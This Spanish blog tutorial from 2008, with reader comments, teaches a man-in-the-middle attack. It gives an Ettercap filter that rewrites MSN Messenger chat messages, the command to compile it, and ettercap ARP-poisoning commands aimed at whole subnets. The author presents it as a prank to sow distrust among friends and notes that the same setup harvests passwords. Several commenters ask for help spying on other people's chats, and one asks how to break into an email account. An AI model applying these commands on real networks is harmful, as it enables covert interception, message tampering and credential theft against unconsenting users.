Ataques Man in the Middle II

Diciembre 5th, 2008

Ha llegado la hora de poner en práctica los conceptos que vimos en el anterior artículo MitM, ha llegado el momento de causar terror en nuestra red :twisted:

Ya comenté que los ataques MitM tienen multitud de aplicaciones, en este post os voy a enseñar una que permite romper relaciones, desbaratar amistades y crear desconfianza en cuestión de minutos… os voy a enseñar a modificar las conversaciones del messenger :P

Lo primero son las herramientas y para esta tarea no hay una mejor que Ettercap, utilidad compleja donde las haya pero increíblemente versátil y potente. La podemos obtener directamente de su web o a través de los gestores habituales (apt-get, yum, etc.). También necesitaremos un buen sniffer, yo suelo usar Wireshark.

Antes de empezar con el ataque tenemos que estudiar un poco nuestro objetivo, como lo que queremos es modificar las conversaciones del messenger, lo lógico sería estudiar el protocolo (MSNMS) antes de meternos en esta tarea. Afortunadamente y ya que sólo vamos a realizar un ataque muy simple, no necesitamos un conocimiento muy profundo. De todas formas, para los que estén interesados, la gente de hypothetic.org tiene una guía no oficial en donde se muestran y discuten todos los detalles del protocolo (desde aquí les doy las gracias por el curro que se han pegado, el msnspy no sería lo mismo sin ellos).

Para el caso que nos ocupa nos basta un vistazo superficial al protocolo, nos vale con poner a escuchar el wireshark y mantener un par de conversaciones. Pronto nos daremos cuenta que nuestro cliente messenger se conecta con un servidor externo. El puerto TCP en el que escucha por defecto ese servidor es el 1863. El protocolo usa un montón de tipo de mensajes diferentes, pero los paquetes que llevan las palabras que escribimos son los que comienzan con “MSG”. Con esta información es más que suficiente para este sencillo ataque.

Bien, hablemos ahora de nuestra herramienta estrella, Ettercap, que nos va a permitir colocarnos en medio de la conexión entre los dos extremos (servidor messenger y cliente) y, de forma muy sencilla, modificar aquellos paquetes que queramos. El tipo de modificación que vamos a emplear para este ataque tiene una limitación importante: sólo podremos cambiar palabras o frases por otras de la misma longitud. De todas formas, esto es más que suficiente para que montemos la de San Quintín.

Filtro para el Ettercap

La primera parte de nuestro trabajo será crear un filtro que indique al Ettercap que es lo que queremos que modifique. En la página de ayuda el Etterfilter (man etterfilter) tenemos toda la información necesaria para crear estos filtros. Aquí tenéis un ejemplo:

if (ip.proto == TCP && tcp.dst == 1863) {
if (search(DATA.data, “guapa”))
{
replace(”guapa”, “fea  ”); #Fijaos que dejo espacios en blanco para hacer coincidir longitudes
msg(”Cambio: guapa -> fea\n”);
}

if (search(DATA.data, “Quiero”))
{
replace(”Quiero”, “Odio “); #Fijaos que dejo espacios en blanco para hacer coincidir longitudes
msg(”Cambio: Quiero -> Odio\n”);
}
}

Seguro que ya tenéis en mente algunos cambios más interesantes, ¿verdad? :twisted:

Compilando el filtro

El siguiente  paso es compilar el filtro. Esto es muy sencillo:

$ etterfilter filtro_prueba.txt -o filtro_msn.ef

Realizando el ataque MitM

Finalmente sólo nos queda llevar a cabo el ataque. Utilizaremos un envenemiento ARP para esta tarea, aunque si consultáis el manual del Ettercap (man ettercap) veréis que tiene muchos más disponibles (ya me he apuntado que tengo que escribir un post sobre las diferentes formas de colarse en medio de la conexión).

El comando sería tal como sigue (recordad que necesitamos privilegios de root):

# ettercap -Tq -M arp:remote -F filtro_msn.ef //

El flag -T le dice al Ettercap que se inicie con una interfaz solo texto. El -q es para que no salga ningún mensaje a parte de los que hemos colocado en el script (si quitáis esta opción el Ettercap os recompensará con todas las contraseñas que encuentre, muy útil).

-M arp:remote le indica el tipo de estrategia que debe seguir para situarse en medio de la conexión. En este caso le decimos que haga un envenenamiento ARP. Lo de remote significa que lo haga en los dos sentidos, me explico, en un envenenamiento ARP engañamos al cliente diciéndole que somos la pasarela, de esta forma todo lo que el cliente mande al exterior pasa a través de nuestra máquina. Sin embargo, lo que la pasarela envia al cliente no pasa por nosotros. Con la opción remote le decimos que también engañe a la pasarela, haciendole pensar que nosotros somos el cliente.

-F filtro_msn.ef carga y activa el filtro que hemos compilado

// Son los hosts sobre los que queremos realizar el ataque, en este caso, toda la red. El formato sería así [MAC]/[IP]/[Puertos]. Si quisieramos atacar sólamente dos equipos, podríamos hacerlo como sigue:

# ettercap -T -M arp:remote -F filter.ef /172.24.16.81/ /172.24.16.1/

Si lo hacemos de esta forma es importante no olvidar incluir al gateway entre los equipos objetivos. Una variante para varios equipos con IPs consecutivas sería:

# ettercap -T -M arp:remote -F filter.ef /172.24.16.1-90/

Pues ya tenemos el ataque funcionando, ahora ponemos a funcionar el msnspy y vemos como la gente se pelea. Lo mejor es que aunque descubran que lo que les llega a su interlocutor no es lo que mandaron, ni siquiera les pasará por la mente que alguien esté realizando un ataque de este tipo. Lo más probable es que lo achaquen a un virus o algo por el estilo… y es que ¿Quién podría imaginar que hay alguien en la oscuridad manipulando y cambiando sus palabras? Ridículo.

Por útlimo comentar que este post sólo pretende despertar vuestra curiosidad sobre este tipo de ataques y sobre una herramienta tan potente como Ettercap. Pensando un poco descubriréis que los usos que se le pueden dar son muchos y alguno de ellos reamente diabólicos. Así que ya sabéis, sed buenos y no hagáis nada que yo no haría xD

The Lord Of The (Token)Ring
(the fellowship of the packet)

“One Ring to link them all, One Ring to ping them,
one Ring to bring them all and in the darkness sniff them.”

– Del manual del Ettercap

Categorías: seguridad, tutoriales |

24 comentarios

  1. Bitacoras.com

    Si lo deseas, puedes hacer click para valorar este post en Bitacoras.com. Gracias….

  2. fanta

    Genial, creo que has despertado mi curiosidad por este tema (de nuevo).
    Haber si tengo tiempo y puedo probarlo.

  3. SynWenn

    Me alegra mucho oír eso. Muchas gracias por el comentario :)

  4. Dr. Falken

    Muy interesante. Espero que sigas escribiendo más artículos tan esclarecedores como estos.

    Gracias!

  5. SynWenn

    Intentaré seguir en la línea, es muy reconfortante leer un comentario en el que agradezcan un post :)

    Por mi parte, pedirte a ti y a todos que no dejéis de comentar, cualquier feedback (bueno o malo) es siempre bien recibido.

  6. Mishki

    Muy interesante el tema y muy claro en las explicaciones. Felicidades. Espero impaciente la 3ª parte, deseando que sea un ataque sobre protocolos seguros, como SSL en http, continuando con la genial herramienta Ettercap. Un saludo.

  7. SynWenn

    Gracias Mishki :)

    Y sí, la tercera parte lo pienso enfocar a protocolos seguros, aunque aún no tengo claro si https o ssh. Tampoco sé si utilizar ettercap para ese tutorial, hay herramientas que son considerablemente más sencillas para aprender los conceptos básicos, que al fin y al cabo es lo que nos interesa.

  8. Man in the Middle - Modificar conversaciones de messenger

    [...] Man in the Middle - Modificar conversaciones de messengerwww.sendaoscura.com/tutoriales/ataques-man-in-the-middle-ii/ por pepitagrilla2 hace pocos segundos [...]

  9. Breves #3 « Guitarrista Geek

    [...] Ataques Man In The Middle II [...]

  10. Trior

    Hola!

    Llevo ya un tiempo buscando alguna forma de hacer man in the middle con el msn.

    Soy usuario de Ubuntu, pero bastante novato. No se usar esta aplicación

    He descargado y descomprimido el paquete, he instalado las librerías que me faltaban, pero cuando lo ejecuto no se que hacer.

    Alguien ha escrito una guía o me podría llevar de la mano un poquito hasta que vea por donde van los tiros y pueda usarla yo mismo? Quiero ver las conversaciones en otro ordenador que está en una red diferente de la mía (osea, tendré que hacerlo a través de Internet). Conseguir la IP o lo que sea que haga falta no es un problema porqué tengo acceso a ese pc de vez en cuando.(Es el de la uni xD)

  11. andres

    necesito saber como entrar a un correo o como saber la clave

  12. augusto

    augusto@Melissa:~/Escritorio$ etterfilter filtro_prueba.txt -o filtro_msn.ef

    etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA

    12 protocol tables loaded:
    DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

    11 constants loaded:
    VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

    Parsing source file ‘filtro_prueba.txt’
    [filtro_prueba.txt:2]: syntax error, unexpected ’s’, expecting offset or function

    alguna idea?

  13. seba

    Muy bueno, mas tarde voy a poner en practica y voy a comentar.

  14. frekency

    Si no os compila, es por las comillas cambiarlas por estas ”

    Y con eso solucionado.

  15. Syd

    Justo lo que buscaba, se agradece lo ilustrativo. ojalá sigas con posts así ;)
    saludos

  16. capullos

    Solo decir esto que es para niños juegos para que ser tan tonto del culo perdiendo tu tienpo con esta tonteria por que no miras de saltarte la seguridad de un banco con SSL aver si tienes tantos conozimientos de ingenieria inversa.
    listillos

  17. La INseguridad local (MitM Man in the Middle Attack) » Blog de Nicolas Ardison

    [...] (MitM Man in the Middle Attack) Posted November 9, 2009 By Nicolas Ardison Navegando encontre un post sobre como leer conversaciones de msn de otra persona en una LAN haciendo un ataque MitM (Man in [...]

  18. cachamay

    opino lo mismo que [capullos].. dediquen su tiempo a cosas mas serias.. o gasten su tiempo tratando de hacer sus propias herramientas en lugar de ser tan lamers de usar las herramientas que ni entienden como funconan..^^

    (ensima el chabon agradece los comentarios.. :S.. yo en su lugar me moriria de verguenza que alguien leyera esto..jajaja)

  19. RAFA

    Esto aun sirve con el Windows Live Messenger? He probado otros filters y al hacer el cambio de palabra ya el msn no recibe mas mensajes. Saludos y Gracias por el Tuto.

  20. Miriam

    Excelente blog, muchas felicidades y gracias por la información

  21. Pab

    Genial, pero tengo un problema:
    Ejecuto el ataque sin problemas, de esta manera:
    _____________________________________
    $ sudo ettercap -T -M arp:remote /192.168.1.14/

    ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

    Listening on wlan0… (Ethernet)

    wlan0 -> 00:18:DE:XX:XX:XX 192.168.1.17 255.255.255.0

    SSL dissection needs a valid ‘redir_command_on’ script in the etter.conf file
    Privileges dropped to UID 65534 GID 65534…

    28 plugins
    39 protocol dissectors
    53 ports monitored
    7587 mac vendor fingerprint
    1698 tcp OS fingerprint
    2183 known services

    Scanning for merged targets (1 hosts)…

    * |==================================================>| 100.00 %

    1 hosts added to the hosts list…

    ARP poisoning victims:

    GROUP 1 : 192.168.1.14 00:1D:D9:XX:XX:XX

    GROUP 2 : ANY (all the hosts in the list)
    Starting Unified sniffing…
    ______________________________________________________
    Luego en otra terminal ejecuto el msnspy:
    _______________________________________________________

    $ sudo ./msnspy -i wlan0 -f Conv.txt -g
    [+] Interface wlan0
    [+] Listen in port: 1863
    [+] Try to capture MSN Password (if clients use HTTP Auth)
    [+] Conversation will be logged in: Conv.txt��
    ______________________________________________________

    Ahí queda todo, cuando voy al archivo creado, no tengo mensajes alguno, solo mis conversaciones; pero ya re-leí los articulos, y no tengo nada fallo; ¿Alguna idea?

  22. Aitor

    No consigo compilar el filtro me dice:
    syntax error, unexpected ’s’, expecting offset or function
    hay que instalar alguna libreria? Utilizo Bactrack 5
    Gracias por la ayuda

  23. Elinostro

    Sería incapaz de irme de aquí sin dejar un comentario, son este tipo de post que se ven opacados por tanta terabasura.. Excelente y esperamos siga escribiendo cosas por el estilo!

  24. on par golf gps reviews

    Wow! In the end I got a website from where I be able to really get
    helpful data regarding my study and knowledge.

Deja un comentario